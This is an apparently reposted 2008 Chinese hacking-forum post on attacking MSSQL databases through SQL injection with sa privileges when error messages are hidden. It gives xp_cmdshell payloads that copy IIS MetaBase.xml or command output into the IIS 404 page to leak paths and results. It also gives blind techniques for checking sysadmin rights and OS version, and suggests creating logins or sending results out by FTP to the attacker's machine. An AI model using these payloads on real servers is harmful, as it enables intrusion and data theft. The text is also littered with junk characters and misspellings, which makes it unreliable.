遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。; C3 p# A2 @# @% m: x9 R4 |
- @7 f T. g1 J9 ~# m- o" n$ S) a
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
& {4 Q( Y6 h* G w! D. L1 P; C% a& ~3 x. @/ z
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
2 {5 H4 q7 |: H( ]7 |1 z3 @' o R: m% q
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm( f! D7 v5 S) \! t/ k
" J' S, S0 z8 h- ]7 N3 F! i
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
' r7 t/ ^. Y: X1 C2 O, d0 K* @8 w3 }) J* c* s) t2 Q, L
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
+ c/ H" o! U% Q/ m c8 _8 X) g. Y) T) T9 x/ h
执行命令得到回显
4 T+ j; p' o; l* Z2 h% c" ^* m! O
6 L: }" D( i9 ]' o" L7 v 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--9 c. N: C+ w: x n
, ?8 e5 k+ o8 j+ o6 F
得到文件也shi相同,把文件copy到404b.htm就行了
2 K: w1 b! Z M% i( ~4 F) G5 n
" w% w% P y0 j! c- c by 28ice, 2008/6/26
$ I" u [' q' `; z6 d; {' j5 ^
8 I+ x3 o7 u6 B/ p x 摘自 28度的冰. G( Y5 A" I q `
: d z( y$ i2 d3 O% o6 M 盲注判断权限和操作系统版本4 r6 S. `1 T: ]) T( C% E' I6 a
2 G6 L6 {" d0 @9 Y/ k+ O 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
9 S& l1 @; F. b$ Q# ?: v+ ] D/ y8 @" ]+ D: }) q
最简单的,可能以用这样的方法:
% n7 V% H) `, b3 C) F2 F9 t$ }
6 m. A( k$ t5 \1 E* g# [& A0 Z 1=(select IS_SRVROLEMEMBER(’sysadmin’))6 s+ h2 V+ T- `. j1 y* d0 G+ [
4 }. c) l, ~# d
当然,有些情况下,这个方法并不奏效。
+ }9 u, }! {5 U$ r; ~& _
8 z; w. w2 _. @# |- K5 q% p1 J) k 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
4 p1 a4 g3 J. S; H: p
, B: r7 r# w8 B6 |2 C% z 有个3办法可能以解决这个问题
; x2 S- i- k6 l2 R, f! R' J
/ L, }5 z6 w( V a.把执行结果写到404b.htm,具体请看我的上一篇文章
2 f5 V1 p w% `$ e; J& B/ g- K( r3 @: Z% M+ A' {7 p( Q1 o
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
% K$ A2 T y' j; H% u0 [% @ V) Z6 L! `+ a: h# [, A# x
c.如果1433端口可能以连接,那干脆新建个sql登录
5 D9 M" C, }% n' V0 Y
- X6 P8 j" J% @' i2 W! M1 |- H d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
4 x2 q, r+ w* E/ ~" Z+ y1 F" i# }. s( ?
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
2 A9 |4 [. I- G, R# f# I
% T, n0 n5 w% L; E0 ~) b2 x 很简单- k0 M( L/ h0 ]$ M/ c. G
2 g& I0 g7 ]5 g# O( d
执行systeminfo x# o" p$ Q- G6 M4 Z0 U
2 b2 U+ C. h9 N) V# S( m, a3 r
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |